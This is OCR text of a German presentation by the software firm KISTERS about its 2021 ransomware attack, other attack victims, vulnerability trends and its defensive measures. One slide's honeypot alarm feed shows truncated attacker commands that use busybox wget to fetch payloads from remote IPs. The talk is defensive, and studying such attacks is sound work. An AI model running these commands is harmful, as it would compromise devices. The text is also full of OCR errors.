ZK KISTERS

Empowering decisions of tomorrow



/Unser Unternehmen

Experten fur Umweltlosungen und IT.

Gegrundet in Weltweit fast Umsatz Mitarbeiter:innen

1963 30 Standorte €80m

Wegweisende Kunden- Nachhaltig Empowering

Technologien orientiert im Herzen decisions of tomorrow
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|/Geschéfisbereiche

Energie

Wegbereiter fir die intelligente Nutzung
erneverbarer Energien.

Wir entwickeln digitale Losungen, die in einem
dynamischen Markt fir Energie und Erneuerbare als
leistungsfdhige Werkzeuge fir gute Entscheidungsfindung
dienen und den Arbeitsalltag erleichtern.

Cloud-L6sungen Losungen fir alle Marktrollen Handel und Beschaffung
Smart Grid und Leittechnik Prognose und Optimierung
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Krisenmana




Praxisbericht.
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Der 10. November 2021...

Stanffurter Allgemeine

ZEITUNG @ FAZ.NET
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Meldungen vom 10.11.2021
Artikel-Chronik

on und Kolonialismus
Bis an Rinder der Welt

dile Dundee”
alier wehrt Krokodil mit Giartelmesser ab

sich an einem

Kein Dreigestirn am 11.11.

Kolner Karnevalsprinz an Corona erkrankt
Bei en m 11.11. iftr

nenhang mit
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Ein Kriminalfall in 3 Akten

* SofortmaBnahmen
* Vorfallmanagement

* Wiederaufbau

3 lHInllololl 0111

Image: (CCO) geralt / pixabay
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Eine Einordnung.
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Cyberangriffe...

DE EN SC
III Details Uberuns
22.107 ... -
. . 1.310.256 Alarme in  1h
sind leider Allta 30.280.737 Alarme 1n 24 h
XX ] L]
.o
Uber 30 Milli It ite A i tagl
er 30 Millionen weltweite Angriffe tagl.
im Sicherheitstacho der Telekom.
Durchschnittliche Alarme pro Honeypot
winw. sicherheitstacho.eu
Verteilung der Alarme (60 Sekunden) ! Quelllinder (38 Tage) Ziellander (30 Tage) - Alarm-Feed (35 Beispiele) @
Farbe Kategorie Anzahl Land ‘Anzahl Land Anzahl Quelle Ziel Kategorie Metadaten Uhrzeit
®  retwork(honeytrapy 6.816 = w &2 == DE 12614505 mm w« KI5 PasswordsCheralding)  Username: ™" | Password: " 23:45:06
®  RPUay) 4.001 = s s = s wssem2 = DE == DE SSH/console(ADB) cd Jdata/local /tnp/; busybox wget Attp: //194.180 4. .. 23:44:42
®  sswconsole(ans) 3320 29.59.343 B o 2uemm ™= 00 e DE Deprecated Honeypot 2442
©®  FasswordsCheralding) 3280 ™ x s O » s B *» = 0 Deprecated honeypot 244242
®  Network(Dionsea) 2.500) Bl o 2338 [NV ERE) = == DE Deprecated Honeypot 23:44:42
) SSH/console (comrie) 1.632 * W 19.208.801 M = 9.852.076 Beoa B o ssw/console(cowrie) Username: ™ | Password: "" | ... 23:44:82
Deprecated Honeypot 151 L B TR X ¥ o K 7.647.604 - = DE SSi/console(ADB) cd /data/local/tnp/; busybox weet http://85.209.13... 23:44:42
®  ebpage 149 — 0 13.328.600 B o a2 S0 ™ o= DE  SsH/console(ADB) cd Jdata/local/tngs rm 1T x5 K1l arml; wget hEt... 24
[ Network (glutton) “ . K @  7en.sas - 7.257.624 PIR == DE Deprecated Honeypot 23:44:42
< = v

© Deutsche Telekom Security GmbH
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Visit us on Twitter: twitter.com/DTCERT

Impressum Datenschutz

Haftungsauschluss

https://www.sicherheitstacho.eu/start/main#/de/tacho
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https://www.sicherheitstacho.eu/start/main#/de/tacho

Der Business Case fliegt (auelle: heise.de)

Knapp die Halfte der Ransomware-Opfer zahlt r - Nach Cyberangriff auf Fraunhofer-Institut in Halle
Losegeld g =

Daten im Darknet angeboten

- > i Wann der Cyberangriff stattfand, liel® der LKA-Sprecher offen.
Jahr Opfer einer Ransomware-Attack esen zu sein. - b

waren es 37 Prozent gewesen — ein Ans

Prozent....

Cybergang Conti: Interne Daten geleakt - 2,8

Milliarden US-Dollar erbeutet Ransomware: USA setzen Kopfgeld auf Mitglieder

Das Conti-Mitglied befindet sich offenbar auch in der Ukraine. der Conti-Gruppe aus

Schmerzhafte Datenlecks Das erste Paket enthalt interne ; iy . ..
) ) . ‘ Im vergangenen Jahr etwa gelang es Conti, das irische
okolle von Conti von Ende Januar 2021 bis Ende I . L
Gesundheitssystem teilweise lahmzulegen ....

07.05.2022 | heise online

https://www.heise.de/news/Knapp-die-Haelfte-der-Ransomware-Opfer-zahlt-Loesegeld-7067219.html
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https://www.heise.de/news/Knapp-die-Haelfte-der-Ransomware-Opfer-zahlt-Loesegeld-7067219.html

Ein Problem nicht nur fur KISTERS

Massive Cyber-Angriffswelle auf Behérden,
Onlineshops & Co.
Die mittelstdndisc 5 AG aus Aachen war nach einem
Cyberangriff i

mal mehr telefonisc D estnetZnummer erreicnbar.. ..

Die in der Offentlichkeit kaum bekannte Kisters AG, die unter anderem Software

fur kritische Infrastrukturen aus den Sektoren Energie und Wasser anbietet,
wurde Ende 2021 von Ransomware heimgesucht. Welche Auswirkungen dies fiir
die Kunden des Unternehmens, namhafte Betreiber kritischer Infrastrukturen,
noch haben wird, ist noch nicht abzusehen. Jedoch hatte

die
Beeintréchtigung von Marktprozessen bekannt gegeben und die "fristgerechte
Ubersendun ur die Bilanzkreis- und Netznutzungsabrechnung zu

tenden Messwerte und Nachrichten ausgesetzt”.

www.heise.de/ratgeber/Security-So-laufen-Ransomware-Angriffe-heute-ab-6457906.html?seite=all

* Eine Auswahl seitdem:

(Quelle www.heise.de)
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11.1.21
09.02.22
17.02.22
28.02.22
01.03.22
12.04.22
04.05.22
12.06.22
12.06.22
12.10.22
21.10.22
26.10.22
31.12.22
12.01.23
17.01.23
20.01.23
23.01.23
03.02.23
22.02.23
10.03.23
14.03.23
17.04.23
24.02.23
30.05.23
14.06.23
23.08.23

KISTERS (D)

vodafone, Portugal

red cross (CH)

Nvidia (US)

Satellite network KA-SAT (US)
Deutsche Windtechnik (D)
Sixt (car rental), Europe
Mainzer Stadtwerke (D)
entega Darmstadt (D)
WILKEN (D)

METRO (D)

enercity, Hannover (D)
SW & Stadt Potsdam (D)
British Royal Mail (UK)
Uni Duisburg-Essen (D)
T-Mobile (US)

Sky, TV

Universitat Zurich (CH)
Energie Pool (CH)
Acronis (US)

Amazon Ring (US)

NCR (US)

NZZ (CH)

ABB (CH)

xplain (CH)

CloudNordic (DK)
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01.1.23
29.10.23
30.10.23
11.1.23
23.1.23
13.02.24
15.02.24
20.02.24
23.02.24
23.02.24
26.03.24

Uni Hannover (D)
Boeing (US)
Sudwestfalen-IT (D)
ICBC (China / US)
Cloudflare (US)
Varta (D)

PSI (D)

Schneider Electric(D)
Thyssenkrupp(D)
Wetzikon (CH)

NHS Scotland (UK)

ZK KISTERS


http://www.heise.de/
http://www.heise.de/ratgeber/Security-So-laufen-Ransomware-Angriffe-heute-ab-6457906.html?seite=all

Die Angriffsflache wadchst: vulnerabilities and exposures (CVEs) worldwide

all severities 7,946
mmm severity: high 6,480 6,447
5,297 5,297

EE severity: critical

Mumber ofco

2009 2010

Graphic: Nick Sexton for The Stack. Source: nvd.nvist.gov
https://www.statista.com/statistics/500755/worldwide

-common-vulnerabilities-and-exposures/

ZK KISTERS
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Resilienz & Pravention.
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MaBnahmen auf mehreren Ebenen

1. Organisatorische MaBBnahmen

Image: (CC BY-SA 2.0) Andrew Adams / flickr
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MaBnahmen auf mehreren Ebenen

1. Organisatorische MaBBnahmen

2. Schutz der eigenen Systeme

Image: (CCO) geralt / pixabay
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Netzwerkstruktur und Softwarebetrieb

* Schnelle Sicherheitspatches: E
Nutzung von Software in der jeweiligen Herstellercloud

Image: (CCO) Squid7085 / Wikimedia Commons

» Starke Zugriffsbeschrankungen:
2FA, feingranulares Berechtigungssystem

» Starker Netzwerkschutz zur Erschwerung von , lateral
movement*:
Firewallregeln und Netzwerksegmentierung

] Image: (©) Cisco
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Systeme zur Angriffserkennung
« MUSS-Kriterien It. BSI

. Deutschland
Thema Anforderung # Digital-Sicher-BSI
Notwendige Technologie, Organisation und Personal

Rahmenbedingungen i :
mussen vorhanden sein.

Informationen zu Schwachstellen eingesetzter Systeme

Angriffsmuster und zu Angriffen missen eingeholt werden.

Die zur Angriffserkennung notwendige Hardware und
Software muss auf dem aktuellen Stand sein.

shilfe zum Einsatz von
nnung

Plattform Orientierung

Systemen zur Angriffs.grke
inklusive Formulare fiir den
Nachweis zu § 8a (1a) BSIG und

§ 11 (1d) ENWG

Die Signaturen zur Detektion mussen aktuell gehalten

Signaturen werden.

Systeme missen so konfiguriert werden, dass bekannte
Konfiguration Moglichkeiten der Schwachstellenerkennung genutzt
werden.

zur affentlichen Ko mmentierung

ENTWURF :
{Stand 01.06.2022)
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MaBnahmen auf mehreren Ebenen

1. Organisatorische MaBBnahmen

2. Schutz der eigenen Systeme

3. Schutz der Kundensysteme

Image: (©) GitLab
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CVE-Bewertung und Behebung

* Geschwindigkeit im gesamten Prozess ist gefragt!

 Bei der Bewertung, bei der Behebung und bei Bereitstellung und Installation

* Der Entwicklungsprozess muss entsprechend ausgerichtet werden

/( Kl STE RS Kunden-Portal Downloads News/Presse Newsletter

e | -

ortalEnergie

Reléase Notes, Security News, Dokumentationen, ...

-Portal / Energie / IT-Sicherhei mationen / IT-Sicherheitsmitteilungen

IT-Sicherheitsmitteilungen

Events & Akademie

IT-Sicherheitsinformationen

(= eades Kritische Schwachstelle in
Ghostscript

Am 13.07.2023 informierten Sicherheitsportale Uber eine
kritische Sicherheitslicke (CVE-2023-36664,...
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Bekannte Schwachstellen

Schweregrad , Kritisch"

Schwachstellen-1D

CVE-2022-3782

Details

Betroffene Version

Losungsversion

Schwachstelle in KiGatekeeper bzw. Keycloak erméglicht ggf Zugriff auf

sensitive Informationen
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Container-Deployment und Cloud-first-Strategie

msi / installer

Vor 2022

20 / 17.05.2024 /15. Gottinger Energietagung

Containertechnologien

Container (single node)

dcker

Container (multi node)

OPENSHIFT

Azure Kubernetes Service (AKS)

2025 ff
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»ES ist nicht die Frage,
OB sondern WANN.*
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Probst

Dr.

Le

Markus

iter Geschdftsbereich Energie
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